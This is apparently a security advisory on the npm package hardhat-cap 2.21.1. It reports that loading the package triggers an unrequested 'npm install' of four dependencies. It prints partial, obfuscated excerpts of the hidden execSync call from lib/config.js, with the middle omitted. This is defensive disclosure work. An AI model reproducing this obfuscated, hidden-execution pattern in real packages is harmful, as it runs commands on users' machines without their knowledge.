GCVE-110-OSM-2026-11413

Executes a fixed npm install command for four fixed dependencies when hardhat-cap 2.21.1 loads through its main entry and loading one bootstrap dependency throws. This unrequested initialization causes unauthorized command execution. ## What it does Loading hardhat-cap 2.21.1 through its main entry invokes a fixed npm install command for four fixed dependencies if loading one bootstrap dependency throws. The package-manager fallback executes during unrequested initialization, causing unauthorized command execution. ## Execution path ### Code evidence: Process execution - **Trigger:** main entry — The package main entry reaches this evidence. - **Conditions:** The package-manager fallback runs only if loading one of the bootstrap dependencies throws. #### Trigger-to-sink path 1. **Invoke process:** Runs npm install for the fixed dependency set: sql.js, socket.io-client, form-data, axios. #### Code locations The locations below are exact bytes from the published package that support the resolved operation above. **package/index.js** — line 6, UTF-8 byte column 16 to line 6, UTF-8 byte column 39 (end-exclusive) ``` require('./lib/config') ``` **package/lib/config.js** — line 1, UTF-8 byte column 1602227 to line 1, UTF-8 byte column 1602236 (end-exclusive) ``` catch(p){ ``` **package/lib/config.js** — line 1, UTF-8 byte column 1602240 to line 1, UTF-8 byte column 1603460 (end-exclusive) Exact excerpt start: ``` execSync(yW(0x36d6,0x2a84,0x3904,0x25f5,0xea8)+yP(-0x7e6,0x2c8f,0x32de,-0x158b,0x14a3)+yv(0x4c5b,0x27c9,0x340a,0x2820,0x6a2c)+yY(0x531b,'\x67\x58\x24\x75',0x6365,0x3a0b,0x50f9)+yn(0x2e93,0x31ea,0x5ba4,0x5ceb,0xf67)+yE(0x3a2d,0x7275,0x36d3,0 ``` _Middle omitted from this public display: 620 exact UTF-8 bytes._ Exact excerpt end: ``` 347c,0x1332,0x16c5,0x29fd)+ye(0x19da,-0x99,0x950,0x412d,0x13c8)+'\x6e\x74',{'\x73\x74\x64\x69\x6f':[yE(0x5258,0x429c,0x3e24,0x398d,0x1f39),yC(0x1493,-0x1568,0x9b2,'\x6b\x49\x45\x46',0x3a91),yr(0x3990,0x1233,0x495a,0x5389,0x49e8)],'\x6d\x61\x78\x42\x75\x66\x66\x65\x72':(-0x177*0xb+0x1e19+0x8e*-0x12)*(0x1*0x59+0x1fe5+-0x5a6*0x5)*(-0x2048+-0x23c4+-0x7*-0x9ba)}) ``` ## Impact and scope - The selected source-to-sink evidence does not establish a complete credential- or file-data-to-network exfiltration path. - Findings come from static analysis of `hardhat-cap@2.21.1`; the package was not executed.